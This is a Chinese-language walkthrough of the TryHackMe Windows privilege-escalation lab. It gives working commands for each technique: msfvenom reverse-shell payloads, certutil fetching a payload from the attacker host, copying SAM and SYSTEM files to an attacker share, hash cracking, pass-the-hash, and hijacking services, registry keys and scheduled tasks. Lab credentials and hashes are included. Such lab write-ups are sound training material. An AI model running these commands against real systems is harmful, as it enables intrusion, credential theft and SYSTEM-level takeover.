# Windows PrivEsc v1.0 ###### tags: `TryHackMe` `window提權` ### RDP 連接: ``` xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.26.90 ``` ### 生成payload: ``` msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.70.197 LPORT=53 -f exe -o reverse.exe ``` ### 開啟smb 分享目錄: * 設置kali 為目錄名 ``` sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali ~/Desktop/ ``` ### 從kali複製reverse.exe 到window ``` copy \\10.18.70.197\kali\reverse.exe C:\PrivEsc\reverse.exe ``` ### netcat 監聽: ``` sudo nc -nvlp 53 ``` ### 啟動reverse.exe: ``` C:\PrivEsc\reverse.exe ``` * 這時你拿到的是一般權限的shell --- ## 服務漏洞 - 不安全的服務權限 ### 查看基本使用者和群組資訊: ``` net user net localgroup net localgroup Administrators ``` ### accesschk accesschk.exe 是一款微軟官方開發,用於檢測特定用戶或組對資源(包括文件、目錄、註冊表鍵、全局對象和Windows服務)的訪問權限的工具。 ``` (Shows all the services that has write access to Everyone) -u = Suppress Errors-w = Show only objects that has write access -v = Verbose -c = Name as a windows service ( * for all the services) ``` ### 找到daclsvc服務 daclsvc是服務權限正常來講每個服務都會在windows上也有一個binary path提供具體的程序指向。如果普通用戶對於某個服務權限過高可以來波提權。 daclsvc服務介紹: https://dotblogs.com.tw/regionbbs/2011/07/28/designing_dacl_concept_and_prototype ``` #查看 everyone 可以具有那些服務讀寫權限 accesschk.exe –wvcu Everyone * #查看 user 可以具有那些服務讀寫權限 accesschk.exe –wvcu user * #查看 user 對daclsvc的服務讀寫權限 _ ``` 顯示都差不多 user 只能修改daclsvc 服務 ``` RW daclsvc SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_STOP READ_CONTROL ``` ### 查 daclsvc服務的權限 ``` accesschk.exe –wvcu daclsvc ``` ``` daclsvc Medium Mandatory Level (Default) [No-Write-Up] RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW Everyone SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_STOP READ_CONTROL ``` * 看 Everyone 都可以修改 SERVICE_CHANGE_CONFIG ### 看 user對daclsvc服務有啥可修改的 ``` accesschk.exe /accepteula -uwcqv user daclsvc ``` ``` RW daclsvc SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_STOP READ_CONTROL ``` ### 查看 daclsvc 資訊 ``` sc qc daclsvc ``` ``` SERVICE_NAME: daclsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : DACL Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ``` * BINARY_PATH_NAME 將被我們修改 ### 兩個常用的提權payload ``` #user用戶 加到 administrators組 sc config daclsvc binPath=“net localgroup administrators user /add” _ #執行 reverse.exe 這個比較方便直接 system 權限 sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\"" ``` ### 兩個都可以開啟服務 ``` net start daclsvc sc start daclsvc ``` * 此時看netcat 的shell 是system 就很棒。 ## 服務漏洞 - 不帶引號的服務路徑提權 ### wmic 查看服務 第一步是識別沒有被引號封裝的服務路徑。我們可以通過結合使用 Windows 實用程序“Windows Management Instrumentation (wmic)”和 findstr 來確定這一點。以下命令將輸出不帶引號的服務列表。 ``` wmic service get name,displayname,pathname,startmode |findstr /i /v "c:\" |findstr /i /v """ ``` ### 登入檔查看也可 路徑: ``` \HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\服務名 ``` 點選 ImagePath建值,可以查看 * 可以找到非常多服務沒有使用引號的路徑 官方推薦 使用 unquotedsvc 服務 ### 查看unquotedsvc 服務信息 ``` sc qc unquotedsvc ``` ``` SERVICE_NAME: unquotedsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Unquoted Path Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ``` ### 這裡有兩個重點 ``` //LocalSystem 代表system 權限 SERVICE_START_NAME : LocalSystem //路徑有空格 且沒有引號 BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\Common ``` * 當Windows服務運行時,會發生以下兩種情況之一。如果給出了可執行文件,並且引用了完整路徑,則系統會按字面解釋它並執行。但是,如果服務的二進制路徑未包含在引號中,則操作系統將會執行找到的空格分隔的服務路徑的第一個實例。 ### 執行的過程 ``` C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe 依次慢慢找到unquotedpathservice.exe C:\Program Files.exe C:\Program Files\Unquoted.exe C:\Program Files\Unquoted Path Service\Common.exe C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe ``` ### icacls 查看路徑的所有使用權 ``` icacls "C:\Program Files\Unquoted Path Service" ``` ``` C:\Program Files\Unquoted Path Service BUILTIN\Users:(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) Successfully processed 1 files; Failed processing 0 files ``` * 重點: BUILTIN\Users:(I)(RX) * 我們是user 屬於Users組 所以只有 (讀/執行) 功能 * 預定義的 BUILTIN 組和默認權限 https://library.netapp.com/ecmdocs/ECMP1658442/html/GUID-88D94528-23AB-434D-8B4B-5AA8732B812A.html ### accesschk 也可查看路徑使用權 ``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" ``` ### 複製 reverse.exe 為 C:\Program Files\Unquoted Path Service\Common.exe ``` copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe" ``` ### kali nc 監聽 ``` nc -lvnp 53 ``` ### 啟動服務 ``` net start unquotedsvc ``` 獲得system 權限 shell ## 服務漏洞 - 弱註冊表權限 * 在Windows系統上,操作系統、驅動程序、和系統安裝組件、服務會存放在註冊表中。而註冊表會通過樹類進行區分,如下圖所示,會分成四個樹類型。而我們的regsvc是在HKLM\SYSTEM\CurrentControlSet\Services ### sc 查看 regsvc 服務信息 ``` sc qc regsvc ``` ``` SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ``` * LocalSystem 代表system 權限 ### 用accesschk.exe檢測regsvc註冊表 ``` C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc ``` ``` /accepteula=自動接受許可協議 -u=抑制/忽略錯誤 -v=詳細信息 -w=只展示有讀寫權限的用戶組 -q=忽略banner -k=後面是註冊表項如\hklm ``` ### 發現 AUTHORITY\INTERACTIVE 組有權限修改 ``` RW NT AUTHORITY\SYSTEM KEY_ALL_ACCESS RW BUILTIN\Administrators KEY_ALL_ACCESS RW NT AUTHORITY\INTERACTIVE KEY_ALL_ACCESS ``` ### 覆蓋 ImagePath 註冊表項以指向您創建的 reverse.exe 可執行文件: ``` reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f ``` ``` /v =指定要添加到指定子項下的名稱 /t=數據類型這裡的REG_EXPAND_SZ意思是長度可變的數據字符串。 /d=指定新註冊表項的值 /f=不用詢問信息而直接添加子項 ``` ### 啟動服務 ``` net start regsvc ``` ### NC 監聽 ``` nc -lvnp 53 ``` 獲得system權限 shell ## 服務漏洞 - 不安全的服務可執行文件 ### 查詢“ filepermsvc” 服務,注意它以系統權限 (SERVICE_START_NAME) 運行。 ``` sc qc filepermsvc ``` ### 使用 accesschk.exe,請注意服務二進製文件 (BINARY_PATH_NAME) 文件對每個人都是可寫的: ``` C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe" ``` ### 複製您創建的 reverse.exe 可執行文件並用它替換 filepermservice.exe: ``` copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y ``` ### 在 Kali 上啟動一個監聽器,然後啟動該服務以生成一個以 SYSTEM 權限運行的反向 shell: ``` net start filepermsvc ``` ## 註冊表 - 自動運行 ### 查詢 AutoRun 可執行文件的註冊表: ``` reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ``` ### 使用 accesschk.exe,請注意其中一個 AutoRun 可執行文件對每個人都是可寫的: ``` C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe" ``` ### 複製您創建的 reverse.exe 可執行文件並用它覆蓋 AutoRun 可執行文件 : ``` copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y ``` * 在 Kali 上啟動一個偵聽器,然後重新啟動 Windows VM。打開一個新的 RDP 會話以觸發以管理員權限運行的反向 shell。您不必通過身份驗證來觸發它,但是如果有效載荷沒有觸發,請以管理員身份登錄 (admin/password123) 來觸發它。請注意,在現實世界中,您必須等待管理員自己登錄! ``` rdesktop 10.10.234.190 ``` * user 用戶 restart 需要等待一下。在使用admin連接一次。 ## 註冊表 - AlwaysInstallElevated * windows有一個系統進程MSIEXEC,用於安裝Windows Installer安裝包,AlwaysInstallElevated是一個組策略配置,如果啟用,那麼將允許普通用戶以SYSTEM權限運行msi文件進行安裝。如果對方機器恰好開啟,我們就可以利用此缺陷提權。 * 利用AlwaysInstallElevated提權是一個2017年公開的技術,Metasploit和PowerUp都提供了利用方法 ### 在註冊表中查詢 AlwaysInstallElevated 鍵: ``` reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` * 這兩個鍵都設置為 1 (0x1)。代表開啟 ### 在 Kali 上,使用 msfvenom 生成反向 shell Windows Installer (reverse.msi)。 相應地更新 LHOST IP 地址: ``` msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.70.197 LPORT=53 -f msi -o reverse.msi ``` ### 複製惡意檔案 ``` certutil.exe -urlcache -split -f http://10.18.70.197/reverse.msi ``` ### 啟用AlwaysInstallElevated後,可以通過命令行調用msiexec安裝msi文件,msi文件內包含要執行的Payload,Payload將會以System權限執行 ``` msiexec /quiet /qn /i C:\PrivEsc\reverse.msi ``` ``` /i 參數用來表示安裝操作 /q 參數用來隱藏安裝界面 /qn 不使用 GUI 進行安裝 ``` ### NC 監聽 獲得shell ``` nc -lvnp 53 ``` ## 密碼 - 註冊表 ### 找尋註冊表中含有 password 字段 ``` reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` ### 找到password字段 ``` // reg query HKCU /f password /t REG_SZ /s HKEY_CURRENT_USER\Software\Microsoft\Windows\Winlogon\PasswordExpiryNotification NotShownReason REG_SZ PasswordNeverExpires HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42 ProxyPassword REG_SZ password123 ``` ### 查詢特定註冊表驗證 ``` reg query "HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42" reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" ``` 驗證 PuTTY 軟體的sessions確實有留下 proxy 的密碼 ### winexe 是linux運行的 windows系統 管理工具,使用比較簡單,前提是獲取用戶名和密碼,然後連接上被攻擊系統就可以使用。 winexe是通過 文件共享服務 ,在目標系統安裝winexe服並運行。最大亮點是 執行命令完成後,退出會 自動刪除 對應的服務,為了防止被發現 ``` winexe -U 'admin%password123' //10.10.235.143 cmd.exe ``` ## 密碼 - 保存的信用 ### 列出所有已保存的憑據: ``` cmdkey /list ``` * 請注意,已保存“admin”用戶的憑據。如果不是,請運行 C:\PrivEsc\savecred.bat 腳本以刷新保存的憑據。 ### 在 Kali 上啟動一個偵聽器,並使用 runas 和管理員用戶保存的憑據運行 reverse.exe 可執行文件: ``` runas /savecred /user:admin C:\PrivEsc\reverse.exe ``` ## 密碼 - Security Account Manager (SAM) SAM 和 SYSTEM 文件可用於提取用戶密碼哈希值。此VM已將SAM 和 SYSTEM 文件的備份不安全地存儲在 C:\Windows\Repair\ 目錄中。 ### 將 SAM 和 SYSTEM 文件傳輸到您的 Kali VM: ``` copy C:\Windows\Repair\SAM \\10.18.70.197\kali\ copy C:\Windows\Repair\SYSTEM \\10.18.70.197\kali\ ``` ### 下載 creddump7 ``` git clone https://github.com/Tib3rius/creddump7 ``` ``` //官方給這個 pip3 install pycrypto //我發現pycrypto 已經沒在維護 使用pycryptodome代替 pip uninstall pycrypto pip install pycryptodome ``` ### pwdump dump hash ``` python3 creddump7/pwdump.py SYSTEM SAM ``` ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2::: user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a::: admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da::: ``` * 我們要的是NTLM 加密的所以是後面冒號那段 ### hash_identifier 確認加密type https://hashes.com/en/tools/hash_identifier ### hashcat 破解 ``` hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt ``` ``` Administrator fc525c9683e8fe067095ba2ddc971889 Passw0rd! Guest DefaultAccount 31d6cfe0d16ae931b73c59d7e0c089c0 空 WDAGUtilityAccount 6ebaa6d5e6e601996eefe4b6048834c2 14344385 user 91ef1073f6ae95f5ea6ace91c09a963a password321 admin a9fdfa038c4b75ebc76dc855dd74f0da password123 ``` ## 密碼 - 傳遞哈希 ### pth-winexe 連接 winexe的修改版本 pth-winexe 來使用管理員用戶的哈希獲取shell ``` pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.140.182 cmd.exe ``` ## Scheduled Tasks(計劃任務) ### schtasks 查詢正計畫任務 這在這題沒用 ``` schtasks /query /fo LIST /v schtasks /query /tn 任務名 /fo list /v ``` * 重要資訊的是 Task to Run Run As User ### 查看C:\DevTools\CleanUp.ps1腳本內容: ``` type C:\DevTools\CleanUp.ps1 ``` 根據該腳本似乎每分鐘都以 SYSTEM 身份運行。使用 accesschk.exe,請注意您可以寫入此文件: ### accesschk 查權限 ``` C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 ``` ``` RW C:\DevTools\CleanUp.ps1 FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_APPEND_DATA FILE_EXECUTE FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_DATA FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_DATA FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL ``` * FILE_APPEND_DATA 附加數據 * FILE_WRITE_DATA 寫入數據 ### icacls 查權限 ``` icacls C:\DevTools\CleanUp.ps1 ``` 比較奇怪的是這裡查出來是 讀/執行 權限 ``` C:\DevTools\CleanUp.ps1 BUILTIN\Users:(M) NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) WIN-QBA94KB3IOF\Administrator:(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) ``` 於是我直接去查看檔案 屬性->安全性->進階 查到 users組 是有 modify 的權限 * window 權限知識 https://www.cnblogs.com/milantgh/p/3617855.html https://zhuanlan.zhihu.com/p/94705977 ### echo 附加 reverse.exe ``` echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1 ``` 在 Kali 上啟動一個偵聽器,然後將一行附加到C:\DevTools\CleanUp.ps1 以運行您創建的 reverse.exe 可執行文件: 等待計劃任務(每分鐘)運行,這應該以 SYSTEM 身份觸發反向 shell。 ## 不安全的 GUI 應用程序 ### 啟動RDP會話: ``` rdesktop -u user -p password321 10.10.114.188 ``` 雙擊桌面上的“AdminPaint”快捷方式。運行後,tasklist發現 mspaint.exe 正在以管理員權限運行: ``` tasklist /V | findstr mspaint.exe ``` 我們是普通權限 可以藉由這個管理員權限的打開的程式生出一個高權限shell 菜單 open ->目錄瀏覽輸入下方cmd 路徑 ``` file://c:/windows/system32/cmd.exe ``` * 按 Enter 以生成以管理員權限運行的命令提示符。 * 不是按下open 按鈕 是直接enter就可 可以查看小畫家內容的捷徑: 題目中的: ``` C:\Windows\System32\runas.exe /user:admin /savecred %windir%\system32\mspaint.exe ``` 一般的 ``` %windir%\system32\mspaint.exe ``` ## Startup Apps (程序快捷方式進行提權) startup 目錄 ``` C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ ``` 在這目錄下可以存放程式捷徑(.lnk),開機時會自動打開程式 ### accesschk 查看目錄權限 ``` C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" ``` ``` C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW WIN-QBA94KB3IOF\Administrator RW WIN-QBA94KB3IOF\admin RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators R Everyone ``` * Users 組可讀寫 官方幫我準備了一個添加reverse.exe 捷徑的腳本 ``` cscript C:\PrivEsc\CreateShortcut.vbs ``` * CScript.exe 是Windows腳本宿主的一個版本,可以用來從命令行運行腳本。 https://www.itsfun.com.tw/cscript.exe/wiki-191125-602294 #### CreateShortcut.vbs ``` Set oWS = WScript.CreateObject("WScript.Shell") sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk" Set oLink = oWS.CreateShortcut(sLinkFile) oLink.TargetPath = "C:\PrivEsc\reverse.exe" oLink.Save ``` ### 你用rdp登入admin 密碼 password123 可以拿shell ``` nc -lvnp 53 ``` ``` rdesktop -u admin 10.10.10.10 ```